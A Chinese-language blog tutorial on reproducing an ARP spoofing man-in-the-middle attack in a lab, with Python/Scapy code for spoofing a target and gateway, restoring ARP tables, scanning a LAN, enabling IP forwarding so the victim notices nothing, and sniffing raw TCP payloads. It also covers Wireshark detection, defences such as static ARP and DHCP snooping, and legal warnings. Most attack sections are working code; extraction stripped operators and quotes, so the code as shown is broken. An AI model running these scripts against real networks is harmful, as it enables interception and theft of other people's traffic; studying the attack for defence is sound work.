告别枯燥实验报告:用Python+Scapy在Kali上复现ARP欺骗,手把手教你当一次“中间人”

张开发
2026/4/3 20:57:47 15 分钟阅读
告别枯燥实验报告:用Python+Scapy在Kali上复现ARP欺骗,手把手教你当一次“中间人”
从零构建ARP欺骗实验PythonScapy实战指南当你第一次听说中间人攻击时脑海中浮现的是不是电影里黑客在键盘上飞速敲击的神秘画面今天我们将用Python和Scapy把这个概念从银幕搬到你的实验环境。不同于传统实验报告的刻板流程我们将以开发者的视角深入ARP欺骗的每个技术细节同时保持足够的趣味性——毕竟理解网络攻击的本质才是最好的防御。1. 实验环境搭建与原理剖析在开始编写攻击脚本前我们需要先理解ARP协议的工作机制。ARPAddress Resolution Protocol就像网络世界的电话簿负责将IP地址转换为物理MAC地址。当设备A想与设备B通信时它会先查询ARP缓存表——这个本地存储的地址映射记录。ARP欺骗的核心在于伪造这个电话簿条目。攻击者持续向目标发送伪造的ARP响应包声称我是网关我的MAC地址是XX:XX:XX。目标设备会更新其ARP表将原本应该发送给网关的流量误导向攻击者。1.1 实验环境配置我们需要以下组件搭建实验环境攻击机Kali Linux预装Python和Scapy靶机任意操作系统本文以Windows 10为例网络拓扑所有设备处于同一局域网段提示使用VMware或VirtualBox创建虚拟机时确保网络适配器设置为桥接模式或NAT模式这能让虚拟机获得独立的局域网IP。验证网络连通性的基本命令# Kali中查看IP配置 ifconfig # Windows中查看IP配置 ipconfig /all # 测试双向连通性 ping 靶机IP ping 攻击机IP1.2 Scapy基础入门Scapy是Python的强大网络包操作库可以构造、发送和捕获网络数据包。安装Scapy非常简单pip install scapy验证安装from scapy.all import * conf.verb 0 # 关闭冗余输出 ls(ARP()) # 查看ARP包结构你会看到类似这样的输出hwtype : XShortField 1 (1) ptype : XShortEnumField 2048 (2048) hwlen : ByteField 6 (6) plen : ByteField 4 (4) op : ShortEnumField 1 (1) hwsrc : MACField 00:11:22:33:44:55 psrc : IPField 192.168.1.1 hwdst : MACField 00:00:00:00:00:00 pdst : IPField 192.168.1.22. 构建ARP欺骗脚本现在进入最激动人心的部分——编写实际的ARP欺骗脚本。我们将分步骤构建一个完整的攻击程序。2.1 基础ARP欺骗实现首先创建一个基本的ARP欺骗函数from scapy.all import * import time def arp_spoof(target_ip, target_mac, gateway_ip, interval2): 执行ARP欺骗攻击 :param target_ip: 目标设备IP :param target_mac: 目标设备MAC地址 :param gateway_ip: 网关IP :param interval: 发送间隔(秒) # 构造欺骗目标的ARP包 arp_target ARP(op2, pdsttarget_ip, hwdsttarget_mac, psrcgateway_ip) # 构造欺骗网关的ARP包 arp_gateway ARP(op2, pdstgateway_ip, hwdstgetmacbyip(gateway_ip), psrctarget_ip) print([*] 开始ARP欺骗攻击 (CTRLC停止)) try: while True: send(arp_target, verboseFalse) send(arp_gateway, verboseFalse) time.sleep(interval) except KeyboardInterrupt: print(\n[*] 停止攻击)2.2 获取MAC地址上面的代码需要目标的MAC地址。我们可以编写一个辅助函数来自动获取def get_mac(ip): 通过IP地址获取MAC地址 :param ip: 目标IP :return: MAC地址或None arp_request ARP(pdstip) broadcast Ether(dstff:ff:ff:ff:ff:ff) arp_request_broadcast broadcast/arp_request answered srp(arp_request_broadcast, timeout1, verboseFalse)[0] if answered: return answered[0][1].hwsrc return None2.3 完整攻击脚本将上述功能整合成完整脚本#!/usr/bin/env python3 from scapy.all import * import time import sys def get_mac(ip): # ... 同上 ... def arp_spoof(target_ip, gateway_ip, interval2): target_mac get_mac(target_ip) if not target_mac: print(f[-] 无法获取 {target_ip} 的MAC地址) return False gateway_mac get_mac(gateway_ip) if not gateway_mac: print(f[-] 无法获取网关 {gateway_ip} 的MAC地址) return False print(f[*] 目标: {target_ip} ({target_mac})) print(f[*] 网关: {gateway_ip} ({gateway_mac})) arp_target ARP(op2, pdsttarget_ip, hwdsttarget_mac, psrcgateway_ip) arp_gateway ARP(op2, pdstgateway_ip, hwdstgateway_mac, psrctarget_ip) print([*] 开始ARP欺骗攻击 (CTRLC停止)) try: while True: send(arp_target, verboseFalse) send(arp_gateway, verboseFalse) time.sleep(interval) except KeyboardInterrupt: print(\n[*] 恢复ARP表...) # 发送正确的ARP包恢复网络 restore(target_ip, gateway_ip) restore(gateway_ip, target_ip) print([*] 攻击结束) return True def restore(dst_ip, src_ip): dst_mac get_mac(dst_ip) src_mac get_mac(src_ip) if dst_mac and src_mac: packet ARP(op2, pdstdst_ip, hwdstdst_mac, psrcsrc_ip, hwsrcsrc_mac) send(packet, count4, verboseFalse) if __name__ __main__: if len(sys.argv) ! 3: print(f用法: {sys.argv[0]} 目标IP 网关IP) sys.exit(1) target_ip sys.argv[1] gateway_ip sys.argv[2] if not arp_spoof(target_ip, gateway_ip): sys.exit(1)3. 攻击效果验证与流量分析成功执行攻击后我们需要验证攻击是否生效并分析网络流量。3.1 验证攻击效果在靶机上执行以下命令查看ARP表变化arp -a正常情况下网关IP对应的MAC地址应该变成了攻击机的MAC地址。你也可以尝试在靶机上访问互联网会发现网络连接中断。3.2 Wireshark抓包分析启动Wireshark并捕获流量过滤ARP包arp你会看到大量ARP响应包其中攻击机声称自己是网关。典型的ARP欺骗包特征包括操作码(opcode)为2(响应)源IP是网关IP但源MAC是攻击机MAC目标IP是靶机IP3.3 流量转发设置可选如果想让靶机在攻击期间仍能上网同时所有流量经过攻击机需要在Kali上启用IP转发echo 1 /proc/sys/net/ipv4/ip_forward这样配置后攻击机将作为中间人转发流量靶机不会察觉到网络异常。4. 防御措施与实验安全理解攻击手段的目的是为了更好地防御。以下是几种常见的ARP欺骗防护方法4.1 静态ARP绑定在重要设备上配置静态ARP条目arp -s 网关IP 网关正确MACWindows中需要管理员权限且重启后失效。4.2 网络层防御ARP监控工具如Arpwatch、XArp等交换机安全功能端口安全、DHCP Snooping等网络隔离VLAN划分、私有VLAN4.3 实验安全注意事项仅在实验室环境进行测试不要对未经授权的网络和设备进行测试实验完成后及时恢复网络避免在公共网络进行此类实验重要本实验仅用于教育目的未经授权对他人网络进行ARP欺骗可能违反法律。5. 进阶打造更强大的中间人工具基础ARP欺骗只是开始。我们可以扩展脚本功能构建更完整的中间人攻击框架。5.1 自动化扫描局域网主机def scan_network(ip_range): 扫描局域网存活主机 :param ip_range: 如 192.168.1.1/24 :return: 存活主机列表 [(ip, mac), ...] ans, unans srp(Ether(dstff:ff:ff:ff:ff:ff)/ARP(pdstip_range), timeout2, verboseFalse) return [(rcv.psrc, rcv.hwsrc) for snd, rcv in ans] # 使用示例 hosts scan_network(192.168.1.1/24) for ip, mac in hosts: print(f{ip}\t{mac})5.2 集成流量嗅探from scapy.all import sniff def packet_callback(packet): if packet.haslayer(TCP) and packet.haslayer(Raw): print(f\n[TCP] {packet[IP].src}:{packet[TCP].sport} - {packet[IP].dst}:{packet[TCP].dport}) print(fData: {packet[Raw].load[:100]}...) # 在攻击线程中启动嗅探 sniff(prnpacket_callback, store0, filtertcp)5.3 可视化攻击面板使用Python的tkinter或控制台库创建实时监控界面import curses def draw_dashboard(stdscr, target_ip, gateway_ip): stdscr.clear() stdscr.addstr(0, 0, f目标: {target_ip}) stdscr.addstr(1, 0, f网关: {gateway_ip}) stdscr.addstr(3, 0, 按q退出) stdscr.refresh() # 在主循环中调用 curses.wrapper(draw_dashboard, target_ip, gateway_ip)实验后的思考在实际测试中我发现现代操作系统和网络设备对ARP欺骗都有一定防护。Windows 10默认会检测ARP缓存异常并尝试恢复企业级交换机也常部署防ARP欺骗机制。这提醒我们单纯依靠ARP欺骗的中间人攻击在实际环境中效果有限需要结合其他技术如DNS欺骗、SSL剥离等才能构成完整威胁。

更多文章